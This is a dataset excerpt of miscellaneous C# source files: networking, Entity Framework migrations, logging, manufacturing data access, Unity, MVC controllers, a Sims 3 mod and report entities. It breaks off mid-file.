text stringlengths 13 6.01M |
|---|
using System;
namespace AspCoreBl
{
public class Class1
{
}
}
|
using KingNetwork.Shared;
using KingNetwork.Shared.Interfaces;
using System;
using System.Net;
using System.Net.Sockets;
namespace KingNetwork.Server
{
/// <summary>
/// This class is responsible for represents the udp client connection.
/// </summary>
public class UdpClientConnection : ClientConnection
{
#region properties
/// <inheritdoc/>
public override bool IsConnected => _udpListener != null;
/// <inheritdoc/>
public override string IpAddress => _remoteEndPoint.ToString();
#endregion
#region private members
/// <summary>
/// The udp network listener instance;
/// </summary>
private Socket _udpListener;
/// <summary>
/// The sremote end point;
/// </summary>
private EndPoint _remoteEndPoint;
#endregion
#region constructor
/// <summary>
/// Creates a new instance of a <see cref="UDPClientConnection"/>.
/// </summary>
/// <param name="id">The identifier number of connected client.</param>
/// <param name="socketClient">The tcp client from connected client.</param>
/// <param name="messageReceivedHandler">The callback of message received handler implementation.</param>
/// <param name="clientDisconnectedHandler">The callback of client disconnected handler implementation.</param>
/// <param name="maxMessageBuffer">The max length of message buffer.</param>
public UdpClientConnection(ushort id, Socket socketClient, EndPoint remoteEndPoint, MessageReceivedHandler messageReceivedHandler, ClientDisconnectedHandler clientDisconnectedHandler, ushort maxMessageBuffer)
{
try
{
_udpListener = socketClient;
_remoteEndPoint = remoteEndPoint;
_messageReceivedHandler = messageReceivedHandler;
_clientDisconnectedHandler = clientDisconnectedHandler;
Id = id;
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}.");
}
}
#endregion
#region public methods implementation
/// <inheritdoc/>
public override void SendMessage(KingBufferWriter writer)
{
try
{
if (_udpListener != null)
_udpListener.BeginSendTo(writer.BufferData, 0, writer.BufferData.Length, SocketFlags.None, _remoteEndPoint, UdpSendCompleted, new Action<SocketError>(UdpSendCompleted));
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}.");
}
}
/// <inheritdoc/>
public override void Disconnect()
{
try
{
_udpListener.Close();
_udpListener.Dispose();
_clientDisconnectedHandler(this);
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}.");
}
}
#endregion
#region private methods implementation
/// <summary>
/// The udp send completed message callback.
/// </summary>
/// <param name="e">The socket error from send message.</param>
private void UdpSendCompleted(SocketError e)
{
if (e != 0)
_clientDisconnectedHandler.Invoke(this);
}
/// <summary>
/// The udp send completed message callback.
/// </summary>
/// <param name="asyncResult">The async result from a received message from connected client.</param>
private void UdpSendCompleted(IAsyncResult result)
{
Action<SocketError> action = result.AsyncState as Action<SocketError>;
try
{
_udpListener.EndSendTo(result);
}
catch (SocketException ex)
{
action(ex.SocketErrorCode);
return;
}
action(SocketError.Success);
}
/// <summary>
/// The callback from received message from connected client.
/// </summary>
/// <param name="data">The data of message received.</param>
public void ReceiveDataCallback(byte[] data)
{
try
{
_messageReceivedHandler?.Invoke(this, KingBufferReader.Create(data));
}
catch (Exception ex)
{
_clientDisconnectedHandler(this);
Console.WriteLine($"Client '{IpAddress}' Disconnected.");
}
}
#endregion
}
}
|
using Microsoft.EntityFrameworkCore.Migrations;
namespace TaxiService.Order.Migrations
{
public partial class Fourth : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropColumn(
name: "FirstName",
table: "Reservations");
migrationBuilder.RenameColumn(
name: "LastName",
table: "Reservations",
newName: "UserId");
migrationBuilder.AlterColumn<double>(
name: "Price",
table: "Reservations",
type: "float",
nullable: false,
oldClrType: typeof(int),
oldType: "int");
migrationBuilder.AlterColumn<double>(
name: "Distance",
table: "Reservations",
type: "float",
nullable: false,
oldClrType: typeof(int),
oldType: "int");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.RenameColumn(
name: "UserId",
table: "Reservations",
newName: "LastName");
migrationBuilder.AlterColumn<int>(
name: "Price",
table: "Reservations",
type: "int",
nullable: false,
oldClrType: typeof(double),
oldType: "float");
migrationBuilder.AlterColumn<int>(
name: "Distance",
table: "Reservations",
type: "int",
nullable: false,
oldClrType: typeof(double),
oldType: "float");
migrationBuilder.AddColumn<string>(
name: "FirstName",
table: "Reservations",
type: "nvarchar(max)",
nullable: true);
}
}
}
|
namespace RosPurcell.Web.Services.Logging
{
using System;
using log4net;
using log4net.Config;
using RosPurcell.Web.Infrastructure.Resources;
/// <summary>
/// Class implementing methods for logging data service calls to a file
/// </summary>
public class LoggingService : ILoggingService
{
#region Fields
private readonly ILog _log;
#endregion Fields
#region Constructor
public LoggingService()
{
XmlConfigurator.Configure();
_log = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);
}
#endregion Constructor
#region Public methods
/// <summary>
/// Logs a message
/// </summary>
/// <param name="message">The message</param>
/// <param name="level">The level</param>
public void Log(string message, LogLevel level)
{
switch (level)
{
case LogLevel.Debug:
_log.Debug(message);
break;
case LogLevel.Info:
_log.Info(message);
break;
case LogLevel.Warning:
_log.Warn(message);
break;
case LogLevel.Error:
_log.Error(message);
break;
default:
throw new ArgumentOutOfRangeException(nameof(level), level, Exceptions.LevelInvalid);
}
}
#endregion Public methods
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.Collections;
using System.Data;
using IRAP.Global;
using IRAP.Server.Global;
using IRAP.Entities.DPA;
using IRAPORM;
using IRAPShared;
namespace IRAP.BL.DPA
{
public class IRAPDPA : IRAPBLLBase
{
private string className =
MethodBase.GetCurrentMethod().DeclaringType.FullName;
public IRAPDPA()
{
WriteLog.Instance.WriteLogFileName =
MethodBase.GetCurrentMethod().DeclaringType.Namespace;
}
public IRAPJsonResult msp_InsertIntoSmeltProductionPlanTable(
List<dpa_Imp_SmeltProductionPlan> datas,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
Hashtable rlt = new Hashtable();
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
try
{
int count = conn.BatchInsert(datas);
errCode = 0;
errText =
string.Format(
"在 IRAPDPA..dpa_Imp_SmeltProductionPlan 表中插入 [{0}] 条记录",
count);
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"在向 IRAPDPA..dpa_Imp_SmeltProductionPlan 表中插入记录时发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
}
return Json(rlt);
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"在向 IRAPDPA..dpa_Imp_SmeltProductionPlan 表中插入记录时发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
return Json(rlt);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
public IRAPJsonResult msp_InsertIntoDBF_MO(
List<dpa_DBF_MO> datas,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
Hashtable rlt = new Hashtable();
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
try
{
int count = conn.BatchInsert(datas);
errCode = 0;
errText =
string.Format(
"在 IRAPDPA..dpa_DBF_MO 表中插入 [{0}] 条记录",
count);
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"在向 IRAPDPA..dpa_DBF_MO 表中插入记录时发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
}
return Json(rlt);
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"在向 IRAPDPA..dpa_DBF_MO 表中插入记录时发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
return Json(rlt);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
/// <summary>
/// 校验 dpa_Imp_SmeltProductionPlan 中的生产计划是否正确
/// </summary>
/// <param name="communityID">社区标识</param>
/// <param name="importID">导入批次标识</param>
/// <param name="sysLogID">系统登录 标识</param>
public IRAPJsonResult usp_PokaYoke_SmeltPWORelease(
int communityID,
long importID,
long sysLogID,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
Hashtable rlt = new Hashtable();
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@CommunityID", DbType.Int32, communityID));
paramList.Add(new IRAPProcParameter("@ImportID", DbType.Int64, importID));
paramList.Add(new IRAPProcParameter("@SysLogID", DbType.Int64, sysLogID));
paramList.Add(new IRAPProcParameter("@ErrCode", DbType.Int32, ParameterDirection.Output, 4));
paramList.Add(new IRAPProcParameter("@ErrText", DbType.String, ParameterDirection.Output, 400));
WriteLog.Instance.Write(
string.Format(
"调用 IRAPDPA..usp_PokaYoke_SmeltPWORelease,输入参数:" +
"CommunityID={0}|ImportID={1}|SysLogID={2}",
communityID,
importID,
sysLogID),
strProcedureName);
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
IRAPError error =
conn.CallProc(
"IRAPDPA..usp_PokaYoke_SmeltPWORelease",
ref paramList);
errCode = error.ErrCode;
errText = error.ErrText;
rlt = DBUtils.DBParamsToHashtable(paramList);
}
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"调用 IRAPDPA..usp_PokaYoke_SmeltPWORelease 函数发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
#endregion
return Json(rlt);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
public IRAPJsonResult usp_PokaYoke_DBF_MONumber(
int communityID,
long importID,
long sysLogID,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
Hashtable rlt = new Hashtable();
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@CommunityID", DbType.Int32, communityID));
paramList.Add(new IRAPProcParameter("@ImportID", DbType.Int64, importID));
paramList.Add(new IRAPProcParameter("@SysLogID", DbType.Int64, sysLogID));
paramList.Add(new IRAPProcParameter("@ErrCode", DbType.Int32, ParameterDirection.Output, 4));
paramList.Add(new IRAPProcParameter("@ErrText", DbType.String, ParameterDirection.Output, 400));
WriteLog.Instance.Write(
string.Format(
"调用 IRAPDPA..usp_PokaYoke_DBF_MONumber,输入参数:" +
"CommunityID={0}|ImportID={1}|SysLogID={2}",
communityID,
importID,
sysLogID),
strProcedureName);
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
IRAPError error =
conn.CallProc(
"IRAPDPA..usp_PokaYoke_DBF_MONumber",
ref paramList);
errCode = error.ErrCode;
errText = error.ErrText;
rlt = DBUtils.DBParamsToHashtable(paramList);
}
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"调用 IRAPDPA..usp_PokaYoke_DBF_MONumber 函数发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
#endregion
return Json(rlt);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
/// <summary>
/// 获取指定 ImportLogID 的导入记录
/// </summary>
/// <param name="communityID">社区标识</param>
/// <param name="importLogID">导入标识</param>
/// <param name="sysLogID">系统登录标识</param>
/// <returns>List<pda_Imp_SmeltProductionPlan></returns>
public IRAPJsonResult mfn_GetList_SmeltProductionPlan(
int communityID,
long importLogID,
long sysLogID,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
List<dpa_Imp_SmeltProductionPlan> datas = new List<dpa_Imp_SmeltProductionPlan>();
long partitioningKey = communityID * 10000;
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@PartitioningKey", DbType.Int64, partitioningKey));
paramList.Add(new IRAPProcParameter("@ImportLogID", DbType.Int64, importLogID));
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
string strSQL = "SELECT * " +
"FROM IRAPDPA..dpa_Imp_SmeltProductionPlan " +
"WHERE PartitioningKey=@PartitioningKey AND ImportLogID=@ImportLogID " +
"ORDER BY Ordinal";
WriteLog.Instance.Write(
string.Format(
"执行 SQL 语句:[{0}]," +
"参数:@PartitioningKey={1}|@ImportLogID={2}",
strSQL, partitioningKey, importLogID),
strProcedureName);
IList<dpa_Imp_SmeltProductionPlan> lstDatas =
conn.CallTableFunc<dpa_Imp_SmeltProductionPlan>(strSQL, paramList);
datas = lstDatas.ToList();
errCode = 0;
errText = string.Format("调用成功!共获得 {0} 条记录", datas.Count);
WriteLog.Instance.Write(errText, strProcedureName);
}
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"执行 SQL 语句发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
#endregion
return Json(datas);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
public IRAPJsonResult mfn_GetList_DBF_MO(
int communityID,
long importID,
long sysLogID,
out int errCode,
out string errText)
{
string strProcedureName =
string.Format(
"{0}.{1}",
className,
MethodBase.GetCurrentMethod().Name);
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
List<dpa_DBF_MO> datas = new List<dpa_DBF_MO>();
long partitioningKey = communityID * 10000;
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@PartitioningKey", DbType.Int64, partitioningKey));
paramList.Add(new IRAPProcParameter("@ImportID", DbType.Int64, importID));
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
string strSQL = "SELECT * " +
"FROM IRAPDPA..dpa_DBF_MO " +
"WHERE PartitioningKey=@PartitioningKey AND ImportID=@ImportID";
WriteLog.Instance.Write(
string.Format(
"执行 SQL 语句:[{0}]," +
"参数:@PartitioningKey={1}|@ImportID={2}",
strSQL, partitioningKey, importID),
strProcedureName);
IList<dpa_DBF_MO> lstDatas =
conn.CallTableFunc<dpa_DBF_MO>(strSQL, paramList);
datas = lstDatas.ToList();
errCode = 0;
errText = string.Format("调用成功!共获得 {0} 条记录", datas.Count);
WriteLog.Instance.Write(errText, strProcedureName);
}
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"执行 SQL 语句发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
#endregion
return Json(datas);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
/// <summary>
/// 删除 IRAPDPA..dpa_DBF_MO 中指定 importID 的记录
/// </summary>
/// <param name="communityID"></param>
/// <param name="importID"></param>
/// <param name="errCode"></param>
/// <param name="errText"></param>
/// <returns></returns>
public IRAPJsonResult msp_Delete_DPA_DBFMOData(
int communityID,
long importID,
out int errCode,
out string errText)
{
string strProcedureName =
$"{className}.{MethodBase.GetCurrentMethod().DeclaringType.FullName}";
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
List<IRAPError> data = new List<IRAPError>();
try
{
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@ImportID", DbType.Int64, importID));
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
string strSQL =
"DELETE FROM IRAPDPA..dpa_DBF_MO " +
"WHERE ImportID=@ImportID";
WriteLog.Instance.Write(
$"执行 SQL 语句:[{strSQL}],参数:@ImportID={importID}",
strProcedureName);
var count = conn.CallScalar(strSQL, paramList);
IRAPError errInfo = new IRAPError(0, "成功删除旧数据");
errCode = errInfo.ErrCode;
errText = errInfo.ErrText;
WriteLog.Instance.Write(errInfo.ErrText, strProcedureName);
data.Add(errInfo);
}
}
catch (Exception error)
{
IRAPError errInfo = new IRAPError(9999, error.Message);
errCode = 9999;
errText = $"删除表 IRAPDPA..dpa_DBF_MO 中的数据发生异常:{error.Message}";
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
data.Add(errInfo);
}
#endregion
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
return Json(data);
}
public IRAPJsonResult usp_UploadMO(
int communityID,
long importID,
long sysLogID,
out int errCode,
out string errText)
{
string strProcedureName =
$"{className}.{MethodBase.GetCurrentMethod().Name}";
WriteLog.Instance.WriteBeginSplitter(strProcedureName);
try
{
Hashtable rlt = new Hashtable();
#region 创建数据库调用参数组,并赋值
IList<IDataParameter> paramList = new List<IDataParameter>();
paramList.Add(new IRAPProcParameter("@CommunityID", DbType.Int32, communityID));
paramList.Add(new IRAPProcParameter("@ImportID", DbType.Int64, importID));
paramList.Add(new IRAPProcParameter("@SysLogID", DbType.Int64, sysLogID));
paramList.Add(new IRAPProcParameter("@ErrCode", DbType.Int32, ParameterDirection.Output, 4));
paramList.Add(new IRAPProcParameter("@ErrText", DbType.String, ParameterDirection.Output, 400));
WriteLog.Instance.Write(
"调用 IRAPDPA..usp_UploadMO,输入参数:" +
$"CommunityID={communityID}|ImportID={importID}|"+
$"SysLogID={sysLogID}",
strProcedureName);
#endregion
#region 执行数据库函数或存储过程
try
{
using (IRAPSQLConnection conn = new IRAPSQLConnection())
{
IRAPError error =
conn.CallProc(
"IRAPDPA..usp_UploadMO",
ref paramList);
errCode = error.ErrCode;
errText = error.ErrText;
rlt = DBUtils.DBParamsToHashtable(paramList);
}
}
catch (Exception error)
{
errCode = 99000;
errText =
string.Format(
"调用 IRAPDPA..usp_UploadMO 函数发生异常:{0}",
error.Message);
WriteLog.Instance.Write(errText, strProcedureName);
WriteLog.Instance.Write(error.StackTrace, strProcedureName);
}
#endregion
return Json(rlt);
}
finally
{
WriteLog.Instance.WriteEndSplitter(strProcedureName);
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace eonix_ex1.Models
{
public class Spectator
{
public void WatchMonkey(object sender, MonkeyEventArgs e)
{
string action;
if (e.Trick == MonkeyTrick.acrobatics) { action = "applause"; }
else action = "whistle";
Console.WriteLine("{0} for {1} on {2}.", action, (sender as Monkey).Name, e.TrickName);
}
}
}
|
namespace DChild.Gameplay.Objects
{
public interface IPhysicsTime
{
float fixedDeltaTime { get; }
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UnconstraintedElevator : MonoBehaviour
{
public float upperLimit;
public float lowerLimit;
public float speed = 1f;
private bool goingUp = true;
private bool running = false;
private void Update()
{
if(running)
{
transform.position += new Vector3(0, (goingUp ? speed : -speed) * Time.deltaTime, 0);
}
if (transform.position.y > upperLimit)
transform.position -= new Vector3(0,speed * Time.deltaTime, 0);
if (transform.position.y < lowerLimit)
transform.position += new Vector3(0, speed * Time.deltaTime, 0);
}
public void Enabled(bool t)
{
running = t;
}
public void State(bool t)
{
goingUp = t;
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RoleManagement.EFDAL
{
public class ActionDal : BaseDal<Model.Action>
{
}
}
|
using FluentValidation;
using SFA.DAS.ProviderCommitments.Web.Models.Cohort;
namespace SFA.DAS.ProviderCommitments.Web.Validators.Cohort
{
public class SelectDraftApprenticeshipsEntryMethodViewModelValidator : AbstractValidator<SelectDraftApprenticeshipsEntryMethodViewModel>
{
public SelectDraftApprenticeshipsEntryMethodViewModelValidator()
{
RuleFor(x => x.Selection).NotNull().WithMessage("Select how you want to add apprentices");
}
}
} |
using System.IO;
using System.IO.IsolatedStorage;
using EventFeed.Producer.Clicks;
namespace EventFeed.Producer.Infrastructure
{
internal class IsolatedStorageClickStorage: IClickStorage
{
public void IncrementClickCount()
{
lock (this)
{
int currentClickCount = GetClickCountInternal();
using var writer = new StreamWriter(_storage.OpenFile(FileName, FileMode.Create, FileAccess.Write));
writer.Write(currentClickCount + 1);
}
}
public int GetClickCount()
{
lock (this)
{
return GetClickCountInternal();
}
}
private int GetClickCountInternal()
{
if (!_storage.FileExists("clicks.dat"))
return 0;
using var reader = new StreamReader(_storage.OpenFile(FileName, FileMode.Open, FileAccess.Read));
return int.Parse(reader.ReadToEnd());
}
private readonly IsolatedStorageFile _storage = IsolatedStorageFile.GetUserStoreForApplication();
private const string FileName = "clicks.dat";
}
}
|
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Linq;
using System.Web;
using System.Net;
using System.Web.Mvc;
using test1.Models;
using System.Transactions;
namespace test1.Controllers
{
public class ViewContactController : Controller
{
TestEntities db = new TestEntities();
// GET: ViewContact
public ActionResult Index()
{
var model = db.contacts;
return View(model.ToList());
}
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
detail tmp = db.details.Find(id);
if (tmp == null)
{
return HttpNotFound();
}
return View(tmp);
}
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
contact tmp = db.contacts.Find(id);
if (tmp == null)
{
return HttpNotFound();
}
return View(tmp);
}
[HttpPost]
public ActionResult Edit(contact ct)
{
if (ModelState.IsValid)
{
db.Entry(ct).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(ct);
}
}
}
//[HttpPost]
// [ValidateAntiForgeryToken]
// public ActionResult Edit([Bind(Include = "Watch_ID,Watch_Name,Watch_Description,Watch_Static,WatchType_ID,Original_Price,Selling_Price,InStock")] ProductTable producttable)
// {
// ValidateClock(producttable);
// if (ModelState.IsValid)
// {
// using (var scope = new TransactionScope())
// {
// // add model to database
// db.Entry(producttable).State = EntityState.Modified;
// db.SaveChanges();
// // save file to app_data
// var path = Server.MapPath("~/App_Data");
// path = System.IO.Path.Combine(path, producttable.Watch_ID.ToString());
// Request.Files["Image"].SaveAs(path + "_0");
// Request.Files["Image1"].SaveAs(path + "_1");
// Request.Files["Image2"].SaveAs(path + "_2");
// // all done successfully
// scope.Complete();
// return RedirectToAction("Index");
// }
// }
// //ViewBag.WatchType_ID = new SelectList(db.ProductTypes, "ProductType_ID", "ProductType_Name", producttable.WatchType_ID);
// return View("Edit", producttable);
// } |
#if UNITY_2019_1_OR_NEWER
using UnityEditor;
using UnityAtoms.Editor;
namespace UnityAtoms.MonoHooks.Editor
{
/// <summary>
/// Value List property drawer of type `Collider2DGameObject`. Inherits from `AtomDrawer<Collider2DGameObjectValueList>`. Only availble in `UNITY_2019_1_OR_NEWER`.
/// </summary>
[CustomPropertyDrawer(typeof(Collider2DGameObjectValueList))]
public class Collider2DGameObjectValueListDrawer : AtomDrawer<Collider2DGameObjectValueList> { }
}
#endif
|
using System;
namespace KartObjects.Entities.Documents
{
[Serializable]
public class ReceiptDiscount:Entity
{
public decimal PercentDiscount { get; set; }
[DBIgnoreAutoGenerateParam]
[DBIgnoreReadParam]
public override string FriendlyName
{
get { return "Скидка чека"; }
}
public long IdReceipt
{
get;
set;
}
public int NumPos
{
get;
set;
}
public DiscountType DiscountType
{
get;
set;
}
public decimal DiscountSum
{
get;
set;
}
public int? IdDiscountReason
{
get;
set;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data;
namespace EasyDev.Util
{
[Obsolete("此工具类中的方法都已经有对应的扩展方法实现")]
public class DataSetUtil
{
/// <summary>
/// 获取数据集中的数据表
/// </summary>
/// <param name="dsFrom">数据集</param>
/// <param name="tableName">数据表名称</param>
/// <returns></returns>
public static DataTable GetDataTableFromDataSet(DataSet dsFrom, string tableName)
{
return dsFrom.Table(tableName);
}
/// <summary>
/// 获取数据集中的数据表
/// </summary>
/// <param name="dsFrom">源数据集</param>
/// <param name="index">数据表索引</param>
/// <returns></returns>
public static DataTable GetDataTableFromDataSet(DataSet dsFrom, int index)
{
return dsFrom.Table(index);
}
/// <summary>
/// 获取数据集中某数据表的第一行
/// </summary>
/// <param name="dsFrom">数据集</param>
/// <param name="tableName">数据表名称</param>
/// <returns></returns>
public static DataRow GetFirstRowFromDataSet(DataSet dsFrom, string tableName)
{
return dsFrom.FirstRow(tableName);
}
/// <summary>
/// 获取数据表中的第一行
/// </summary>
/// <param name="dtFrom">数据表</param>
/// <returns></returns>
public static DataRow GetFirstRowFromDataTable(DataTable dtFrom)
{
return dtFrom.SingleRow(0);
}
/// <summary>
/// 获取数据集中的一行
/// </summary>
/// <param name="dsFrom">数据集</param>
/// <param name="tableName">数据表名称</param>
/// <param name="rowNum">行号</param>
/// <returns></returns>
public static DataRow GetSingleRowFromDataSet(DataSet dsFrom, string tableName, int rowNum)
{
return dsFrom.SingleRow(tableName, rowNum);
}
/// <summary>
/// 获取数据表中的一行
/// </summary>
/// <param name="dtFrom">数据表</param>
/// <param name="rowNum">行号</param>
/// <returns></returns>
public static DataRow GetSingleRowFromDataTable(DataTable dtFrom, int rowNum)
{
return dtFrom.SingleRow(rowNum);
}
}
}
|
using NRaas.CommonSpace.Options;
using NRaas.MasterControllerSpace.Sims.Status;
using NRaas.MasterControllerSpace.SelectionCriteria;
using Sims3.Gameplay;
using Sims3.Gameplay.Abstracts;
using Sims3.Gameplay.Actors;
using Sims3.Gameplay.Autonomy;
using Sims3.Gameplay.CAS;
using Sims3.Gameplay.Core;
using Sims3.Gameplay.Interactions;
using Sims3.Gameplay.Interfaces;
using Sims3.Gameplay.MapTags;
using Sims3.Gameplay.Objects;
using Sims3.SimIFace;
using Sims3.SimIFace.CAS;
using Sims3.UI;
using System;
using System.Collections.Generic;
using System.Text;
namespace NRaas.MasterControllerSpace.Sims.Tags
{
public class ReapplyTags : OptionItem, ITagsOption
{
public override string GetTitlePrefix()
{
return "ReapplyTags";
}
protected override bool Allow(GameHitParameters<GameObject> parameters)
{
if (MasterController.Settings.mLastTagFilter == null) return false;
if (Household.ActiveHousehold == null) return false;
return base.Allow(parameters);
}
protected override OptionResult Run(GameHitParameters<GameObject> parameters)
{
foreach (Sim sim in LotManager.Actors)
{
RemoveTag.Perform(sim);
}
AddTag addTag = new AddTag();
bool criteriaCanceled;
SimSelection sims = SimSelection.Create(Name, parameters.mActor.SimDescription, addTag, MasterController.Settings.mLastTagFilter.Elements, true, true, true, out criteriaCanceled);
foreach (Sim sim in CommonSpace.Helpers.Households.AllSims(Household.ActiveHousehold))
{
MapTagManager manager = sim.MapTagManager;
if (manager == null) continue;
foreach (SimDescription choice in sims.All)
{
if (choice.CreatedSim == null) continue;
AddTag.Perform(manager, choice.CreatedSim);
}
}
return OptionResult.SuccessClose;
}
}
}
|
using System;
namespace PhotonInMaze.GameCamera {
internal class OneShotEvent : ICameraEvent {
private bool isDone = false;
private readonly Action camEvent;
private OneShotEvent(Action camEvent) {
this.camEvent = camEvent;
}
public static ICameraEvent Of(Action camEvent) {
return new OneShotEvent(camEvent);
}
public bool IsDone() {
return isDone;
}
public void Run() {
if(!isDone) {
camEvent.Invoke();
isDone = true;
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using KartObjects;
using KartLib;
using System.ComponentModel;
namespace AxiReports
{
public class TareReportRecord : Entity
{
[DBIgnoreAutoGenerateParam]
[DBIgnoreReadParam]
public override string FriendlyName
{
get { return "Отчет по таре"; }
}
/// <summary>
/// Идентификатор товара
/// </summary>
[DisplayName("Идентификатор товара")]
public long IdGood
{
get;
set;
}
/// <summary>
/// Идентификатор ассортимента
/// </summary>
[DisplayName("Идентификатор ассортимента")]
public long IdAssortment
{
get;
set;
}
/// <summary>
/// Идентификатор склада
/// </summary>
[DisplayName("Идентификатор склада")]
public long IdWh
{
get;
set;
}
/// <summary>
/// Идентификатор поставщика товара
/// </summary>
[DisplayName("Идентификатор поставщика товара")]
public long IdSupplier
{
get;
set;
}
/// <summary>
/// Артикул
/// </summary>
[DisplayName("Артикул")]
public string Articul
{
get;
set;
}
/// <summary>
/// Наименование товара
/// </summary>
[DisplayName("Наименование товара")]
public string NameGood
{
get;
set;
}
/// <summary>
/// Идентификатор группы товара
/// </summary>
[DisplayName("Идентификатор группы товара")]
public long IdGoodGroup
{
get;
set;
}
/// <summary>
/// Наименование группы товара
/// </summary>
[DisplayName("Наименование группы товара")]
public string NameGoodGroup
{
get;
set;
}
/// <summary>
/// Ассортимент
/// </summary>
[DisplayName("Ассортимент")]
public string NameAssortment
{
get;
set;
}
/// <summary>
/// Подразделение
/// </summary>
[DisplayName("Подразделение")]
public string NameWh
{
get;
set;
}
/// <summary>
/// Поставщик
/// </summary>
[DisplayName("Поставщик")]
public string NameSupplier
{
get;
set;
}
/// <summary>
/// Остаток на начало
/// </summary>
[DisplayName("Остаток на начало")]
public double BeginRest
{
get;
set;
}
/// <summary>
/// Остаток на начало, сумм
/// </summary>
[DisplayName("Остаток на начало, сумм")]
public decimal BeginRestSumm
{
get;
set;
}
/// <summary>
/// Приход по документам
/// </summary>
[DisplayName("Приход по документам")]
public double InDoc
{
get;
set;
}
/// <summary>
/// Приход по документам, сумм
